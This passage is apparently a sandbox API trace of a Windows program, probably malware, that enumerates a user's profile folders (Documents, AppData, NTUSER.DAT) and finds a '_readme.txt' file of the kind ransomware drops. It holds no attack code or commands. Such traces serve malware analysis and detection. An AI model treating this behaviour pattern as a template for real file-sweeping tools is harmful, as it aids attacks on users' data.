Flags=0x0, Size=0x50) returned 0x3115970 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115810 | out: hHeap=0x640000) returned 1 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b8 | out: hHeap=0x640000) returned 1 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115868 | out: hHeap=0x640000) returned 1 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b6fa8 | out: hHeap=0x640000) returned 1 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1858 | out: hHeap=0x640000) returned 1 [0266.487] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc445d3e0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc445d3e0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115868 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31157b8 [0266.487] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115810 [0266.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b8 | out: hHeap=0x640000) returned 1 [0266.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115868 | out: hHeap=0x640000) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff17f0 [0266.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0266.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1858 | out: hHeap=0x640000) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115868 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31157b8 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115708 [0266.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b8 | out: hHeap=0x640000) returned 1 [0266.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115868 | out: hHeap=0x640000) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2ee8f70, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xf2ee8f70, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ec2e10, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc458dee0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc458dee0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115868 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31157b8 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x214) returned 0x71ce58 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31159c8 [0266.488] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1858 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115a20 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115a78 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115ad0 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115b28 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x3116840 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115b80 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x31168a8 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115bd8 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2fa0 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31158c0 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115760 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116708 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116770 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31167d8 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115970 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115810 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71f710 | out: hHeap=0x640000) returned 1 [0266.489] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115708 [0266.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b8 | out: hHeap=0x640000) returned 1 [0266.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115868 | out: hHeap=0x640000) returned 1 [0266.490] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115868 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x720f70 [0266.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115868 | out: hHeap=0x640000) returned 1 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff17f0 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0266.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x720f70 | out: hHeap=0x640000) returned 1 [0266.490] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115868 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31157b8 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115810 [0266.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b8 | out: hHeap=0x640000) returned 1 [0266.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115868 | out: hHeap=0x640000) returned 1 [0266.490] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff17f0 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x31167d8 [0266.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0266.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.490] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115868 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31157b8 [0266.490] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115970 [0266.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b8 | out: hHeap=0x640000) returned 1 [0266.491] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115868 | out: hHeap=0x640000) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115868 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31157b8 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115918 [0266.491] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b8 | out: hHeap=0x640000) returned 1 [0266.491] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115868 | out: hHeap=0x640000) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff17f0 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x310) returned 0x307de48 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115868 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x3116770 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31157b8 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3115760 [0266.491] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31158c0 [0266.491] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc451bac0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc451bac0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8e573b0, ftCreationTime.dwHighDateTime=0x1d50369, ftLastAccessTime.dwLowDateTime=0xf8e573b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8e573b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x48d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8e573b0, ftCreationTime.dwHighDateTime=0x1d50369, ftLastAccessTime.dwLowDateTime=0xf8e573b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8e573b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x48d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0266.491] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.492] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab7d0 | out: hHeap=0x640000) returned 1 [0266.492] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.492] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081690 | out: hHeap=0x640000) returned 1 [0266.492] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.492] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.492] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.492] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.492] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.492] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0266.492] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.492] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.492] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30774a8 | out: hHeap=0x640000) returned 1 [0266.492] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.492] PathFindFileNameW (pszPath="") returned="" [0266.492] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.493] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115970 | out: hHeap=0x640000) returned 1 [0266.493] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.493] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec26e750, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xec26e750, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0266.493] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0266.493] 